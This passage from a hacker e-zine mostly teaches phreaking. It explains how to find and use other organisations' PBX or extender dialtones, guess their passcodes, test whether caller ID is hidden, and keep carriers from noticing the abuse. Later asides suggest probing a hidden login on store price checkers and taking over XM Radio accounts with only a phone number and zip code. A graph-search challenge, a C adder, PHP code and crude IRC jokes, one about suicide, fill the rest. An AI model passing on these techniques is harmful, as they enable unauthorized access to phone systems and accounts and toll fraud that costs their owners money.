clear limit of digits. One of the nicest things about DMSes is if you make a mistake, pressing *
will let you start over. The other easy systems to identify are Avaya PBXes. Prior to the very
newest models, a DISA dialtone from one of these would produce a 2 KHz tone before giving you
dialtone.
For anything else, there's usually an easy way to put the equipment through the paces and figure out
what exactly it is you have in front of you. The moment you get a dialtone, start slowly dialing a
number. It doesn't have to be anything valid. It's all good, just so long as you can keep track of
how many digits you've dialed. By the time you've got to the tenth or eleventh digit, you probably
would've gotten:
- Another dialtone
- Silence
- A recording
- Reorder
- Disconnected
Usually the easiest to identify are hardware extenders; as opposed to the switch giving you a
dialtone via software, a hardware-based extender will pick up another line. More often than not,
it's an analog line with an off-the-shelf configuration from whatever you're calling, but there's
quite the room for variety. We've seen BRI-based extenders, completely custom dialplans, and FX
lines on a switch 70 miles away from the one with the inbound number. Be that as it might, it's
still literally picking up a phone line, just as you would be if you were close enough to pick up a
phone on it. Reach out and touch someone indeed. This means you more than likely won't get
disconnected if you misdial - in fact, most of the time it can't! So if you get offhook recordings,
can hear battery drops in the case of analog lines, and dial vertical service codes like *67, it
means you've got yourself some real, true, genuine hardware. If they're present at all, passcodes
can usually be summed up in two words: dial slowly.
But let's say you're not so lucky, and it just throws you off the line. If you're dialing from a
5ESS, the first thing we'd suggest might sound a little odd. If you're dialing *67 first, do
yourself a favor and stop. No, seriously. We'll get to this later, but for now, let's assume you
aren't. How many digits did you dial before it disconnected? 4? 7? 10? If it was any more, you may
be having the same problem as 5ESS phreaks. If not, you've got yourself a slippery one. Like with
the hardware extenders, dial slowly. Try a variety of the above lengths: four, seven, and ten
digits. Try using the last four to seven digits of the number you're dialing, or any working numbers
near it; we believe large Nortel PBXes enjoy this sort of activity for authenticating people. This
is a rarity, but also try placing # at the end of the digits. Most things that aren't CO switches
don't tend to appreciate a # at tne end of your digits, but sometimes it makes a big difference.
Getting back to the problem with vertical service codes, the reason is that when a call starts to
disconnect, a vertical service code will make the 5ESS hold the connection open for about ten
seconds before it tears down the call. If you're dabbling in a little blueboxing, or calling
something that passes on/offhook flashes all the way back to your office (think: supervision tests),
this is a godsend. For this, it's quite the opposite.
How are you going to know what makes it disconnect if you don't know when it disconnects? If
something is preventing you from knowing this anyway, there's another option. A lot of long distance
carriers will make a distinct noise when the call disconnects before your switch actually acts upon
it. Usually it's a small burst of white noise, but this isn't always the case. The best way to make
sure is to sit in a quiet room with a good phone, and just listen. So maybe none of this applies,
and you just got a second dialtone. Again, (and this is the last time we'll say it) dial slowly.
Does it stop you after so many digits, or does it keep waiting? Guessing things of this sort is a
completely different matter that we won't go into, but if the call doesn't go through, what you get
next can help you determine what went wrong.
When encountered with a passcode, a recording typically means you might've been right, but the
number you dialed is invalid. This is especially true with DMS extenders, which seem to have a habit
of blocking a lot of destinations, particularly toll-free. Try making an intra-office call to make
sure. It's worth mentioning that outside of hardware and DMS extenders, going straight to reorder on
a distant dialtone is relatively rare, though.
One of the classic uses of something else's dialtone is to conceal your number when you call
something. In theory, this isn't a bad idea at all. In the real world, though, it's a little more
complicated. It's common for an extender to rewrite the charge number field with its own number, but
leave CPN (the field that eventually shows up on your caller-ID box) untouched. If you want to use
an extender for anonymity of any sort, call a CPN ANAC or two and make sure the switch is really
keeping you safe. Don't know which one really reads CPN? 800-437-7950 does.
If you're planning on using an extender to call something that costs money, keep in mind it's easy
to forget that this costs someone money. Phone companies are all about money. Even if they don't own
it, this means they don't want to get stuck paying for the calls any more than the owner does.
Anybody who's worked with a carrier can tell you that if there's an unusual amount of calls to high-
cost destinations (think: international to any place you don't want to pay for), they're going to
either call the owner and ask if the calls are legitimate, or flat out block them until they call
customer service. Even if they're low-cost destinations, all it takes is one person to see the bill,
and it's all history from there. A dialtone that isn't abused can be around for a _long_ time. One
of ours even had its fourth birthday this year.
So in other words: if you want your dialtone to last, we're not saying don't call these places. Just
call the numbers in these places that don't go through so that it doesn't charge.
So if you're not concealing your number, or avoiding toll charges, why would you want a dialtone?
Well, you're a phreak, right? You should know that a different switch means a different
configuration. There's a good chance this switch will pass forward an SS7 bit that makes 101-0288-0
work again (we're not making this up). A different configuration means different things will be
blocked - if anything at all.
Besides, it's simple! If it's a dialtone, it's probably got a long distance carrier. Go to the NANPA
website and find out what carrier access codes they use. For example, Sprint has a ton of carrier
access codes, but the most common one for subscribers is 101-0333. So in our case, let's say they
are indeed using Sprint (call 1-700-555-4141 to be sure). We'd dial 101-0333 and wait, just as
before with the Worldcom code.
What's this? Another dialtone?
Yes, long distance tandems can give you dialtone! These tandems really aren't subject to a whole lot
of regulation from the FCC (hell, when was the last time you even saw a long distance tandem in
LERG?), so what you'll find there is pretty much all open for interpretation. With companies like
MCI that have a ton of long distance tandems from more than one manufacturer, what you find might
even change from one switch to the next. Here's a hint, though: always try # before digits. Just
bear in mind this isn't carrier neutral territory. Even if it's completing a call to a toll-free
number, it doesn't necessarily mean it's going to work like it should.
So you might be thinking "but mister evil Shadytel executive, wouldn't it be a lot easier to try
this with my home long distance carrier?"
Yes and no.
Someone in a Qwest state asked us just this very question.
Like any proper group of shady entrepreneurs, we threatened to slam their line if they didn't. So
they picked up their phone and dialed 10-10-432.
"We're sorry, your call cannot be completed as dialed. Please check the number and try your call
again."
The call was reaching the long distance tandem. It just wasn't doing anything.
Meanwhile, from our secret underground lair, we got a second dialtone without even subscribing to
Qwest long distance, so we figured he was lying, and disposed of him properly.
It turns out not just all phones, but all tandems aren't created equally. Calls on Qwest not coming
from Qwest Local states route to a network of DMS-200s, while Qwest states all route to some kind of
other strange tandem.
So in a nutshell, it's possible sometimes, but getting yourself a dialtone means you don't have to
be stuck with the hand you're dealt. Don't like the Global Crossing Sonus switches? (Pennsylvania
and Florida callers, you know exactly what we're talking about) That's great, go play in a state
that uses their DEX network. Or vice versa - it's your choice.
Even if you aren't into long distance, a dialtone can mean secret exchanges proprietary to the LEC,
like Bell Canada's 200 exchange, or Embarq's 959. Some hardware extenders will let you accept
incoming calls using the other side, making it an effective loop when you're in a pinch. Best of
all, though, it's all about variety - a different company means another subpoena for the angry
Boeing employees who heard 14 hours of Rick Astley over their PA system, a fresh set of Jane Barbe
recordings to make a failed call not seem so bad, or even a 1AESS to enjoy without sitting at a
COCOT in the bad parts of Atlanta.
It's your choice.
[==================================================================================================]
-=[ 0x0c Programming Challenge
-=[ Author: storm
-=[ Email: storm@gonullyourself.org
-=[ Website: http://gonullyourself.org/
Graphs are commonly used to model computer networks and visualize routing algorithms. In a simple
graph, Vertices (V) are the individual nodes in a graph, and edges (E) are the connections between
them. Edges are two-way paths and may be traveled an infinite number of times.
Two common routing algorithms are known as depth-first search and breadth-first search. Depth-first
search attempts to go as deep into the network as possible and then recursively back out until the
target node is found or until no more edges may be traveled. Assume that when choosing which edge
to travel, the edge with the destination node next in alphabetical order will be chosen, and nodes
that have previously been visited are ignored. Consider the following graph:
V = {A,B,C,D,E}
E = {{A,B},{A,C},{B,C},{B,D},{B,E},{C,D},{D,E}}
(A)-----(B)-----(E)
\ / \ /
\ / \ /
\ / \ /
(C)-----(D)
Using depth-first search, a route from A to E would be found as: A->B->C->D->E (length 4)
The vertices would be visited in the order: A, B, C, D, E
Visualizing depth-first search by re-structuring the process as a tree:
1(A)
/
2(B)
/
3(C)
/
4(D)
/
5(E)
Breadth-first search attempts to visit all nodes neighboring the current node first and then
recursively perform the same operation to the now-current node until the target node is found or
until no more edges may be traveled. Assume that when choosing which edge to travel, the edge with
the destination node next in alphabetical order will be chosen, and nodes that have previously been
visited are ignored.
Considering the same graph as above, a route from A to E would be found as: A->B->E (length 2)
The vertices would be visited in order: A, B, C, D, E
Visualizing breadth-first search by re-structuring the process as a tree:
1(A)
/ \
2(B) (C)3
/ \
4(D) (E)5
Now, consider the following graph:
V = {A,B,C,D,E,F,G,H}
E = {{A,B},{A,D},{A,F},{B,G},{B,H},{C,D},{C,E},{D,E},{D,F},{F,G},{G,H}}
(H)___
/ \
,-----(B)_ \
(A)______ `----(G)
| \ /
| (C) \ /
\ / \ `--(F)
\ / \ |
(D)---(E) |
|__________|
Your challenge is to determine the number of hops (total number of times some edge is traveled) that
each packet must take if it wants to travel from vertex [A,H] to vertex [A,H]. Calculate the answer
using both depth-first search and breadth-first search, and then report which routing algorithm
produced the most optimal route (the route had a lesser number of hops) for each instance. If both
algorithms produce a route of equal length, then report that instance as a Tie. You should not
confuse the process of finding a route with the route produced itself. If one algorithm visits more
nodes than the other when finding a route but produces a route of shorter length, then it wins that
instance.
Your output should look something like this:
A -> C : DF=5, BF=6 : Depth-First
A -> D : DF=4, BF=2 : Breadth-First
A -> E : DF=6, BF=7 : Depth-First
Submissions may be written in any programming or scripting language. Correct, acceptable, and
innovative solutions will be published in the next issue of GNY Zine, and their authors will be
recognized. Solutions may be submitted by:
- Forum (http://gonullyourself.org/board/)
- IRC (irc.gonullyourself.org #gny)
- Email (zine@gonullyourself.org)
Excellent resources for further information on network graphs, depth-first search, and breadth-first
search:
http://en.wikipedia.org/wiki/Graph_theory
http://en.wikipedia.org/wiki/Depth-first_search
http://en.wikipedia.org/wiki/Breadth-first_search
http://www.cs.sunysb.edu/~skiena/combinatorica/animations/search.html
--------------------------------------------------------------------------------
Last issue, readers were asked to write simple adders to test their knowledge of basic CPU
operations and demonstrate the fact that arithmetic can be performed using special arrangements of
logic gates. Very cool, in my opinion.
Ripple-Carry Adder by melte
Language: C
The following program verifies its calculations from [0, 100] + [0, 100] and displays no output,
meaning that the tests were successful. Excellent work!
--------------------
#include <stdio.h>
#include <stdlib.h>
int _ripple_adder(int, int, int *, int, int);
int ripple_adder(int, int, int *);
int ripple_adder(int a, int b, int *carry)
{
int c = 0;
return _ripple_adder(a, b, carry ? carry : &c, 0, 0);
}
int _ripple_adder(int a, int b, int *c, int d, int result)
{
result |= ((a ^ b ^ *c) & 1) << d;
*c = (~(a ^ b ^ *c) | (a & b & *c)) & (a | b | *c) & 1;
return *c | (a >>= 1) | (b >>= 1) ? _ripple_adder(a, b, c, ++d, result) : result;
}
int main()
{
int i, j;
for (i = 0; i <= 100; ++i)
{
for (j = 0; j <= 100; ++j)
{
int out = ripple_adder(i, j, NULL);
if (out != i + j) printf("Failure: result of adder(%d, %d) = (%d)\n", i, j, out);
}
}
return 0;
}
[==================================================================================================]
-=[ 0x0d Et Cetera, Etc.
-=[ Author: teh crew
GNY is Not Yams
----------------------------------------------------------------------------------------------------
If you're getting bored of your plain old for() and while() loops, you may want to check out
recursion. It provides a way to think about problems in a completely different, more abstract
manner and overall is just pretty slick.
<?php
function recure($array) {
return (!$array) ? 0 : (1 + recure(array_diff($array, array(array_pop($array)))));
}
echo 'Size of array: ' . recure(array(1, 2, 3, 4, 5));
?>
Random thoughts
----------------------------------------------------------------------------------------------------
The price checkers at Target are kind of nifty. If you simultaneously press the A and D buttons,
they'll drop you to a login prompt. As far as we can tell, they accept up to a 10-character
password (or was it 15?) until it auto-submits the login. Would love to hear if anyone has or finds
more information about this.
Managing your XM Radio account over the phone requires only your phone number to identify the
account and zip code to verify the access attempt. Think about it. And then think about how easy
it is to recognize the little knobby antennas on cars parked in peoples' driveways. Hmm.
We're not ones to poke fun at the disabled, but this is just fucking hilarious. The comments are
spot-on golden. http://amzn.com/0982609108
And finally, here's a little food for thought: Disregarding hearses, think of all the cars that have
passed by you over the course of your entire life. Most likely an insanely huge number, right?
Now, what is the statistical chance that at least one of those cars had a dead, rotting corpse
stuffed in the trunk?
Wordz 'o Wizdum
----------------------------------------------------------------------------------------------------
14:34 <+m0ney> 4chan is like a giant teenage girl.
14:35 <+m0ney> Acting on impulse
14:35 <&Barney-> ^
14:35 <+m0ney> I LIKE ASSANGE LETS DDOS RANDOM SHIT
14:35 <+m0ney> THIS WILL SHOW THEM
14:35 <+m0ney> Its a bunch of anime kids who code in VB and google SQLi tuts
14:37 <+m0ney> This is so fucking dumb oh my god
14:37 <+m0ney> I think Im gonna go eat heart pills until I blackout and die
11:14 <+ardnew> OH NOES
11:15 <+ardnew> I CANT GET ON PAYPAL FOR AN HOUR
11:15 <+ardnew> FFFUUU
11:15 <+ardnew> INTERNET INFRASTRUCTURE HAS COLLAPSED
11:16 <+ardnew> EARTHS ECONOMY IS IN RUIN
11:16 <+ardnew> ALL THANKS TO 14YEAR OLDS WITH MODEMS
11:16 <+ardnew> IF ONLY WE LET THEM DOWNLOAD FREE CARS
14:45 <ardnew> im so pissed i had to join another server
14:46 <ardnew> im thinking about taking you guys offline
14:46 <ardnew> with my tools
14:46 <ardnew> just to teach you noobs a lesson
14:46 <+ElectRo`> FIRING UR CANNONS
14:46 <ardnew> mess with the best
14:46 <ardnew> die like the rest
14:46 <ardnew> as i always say
Sigh. Gotta love 'em.
Anyways..... that's it for issue #3. Now that you're done you can go read Phrack.
Go on, shoo. The fish are calling.
<3, the gny crew
irc.gonullyourself.org +6697 #gny
[==================================================================================================]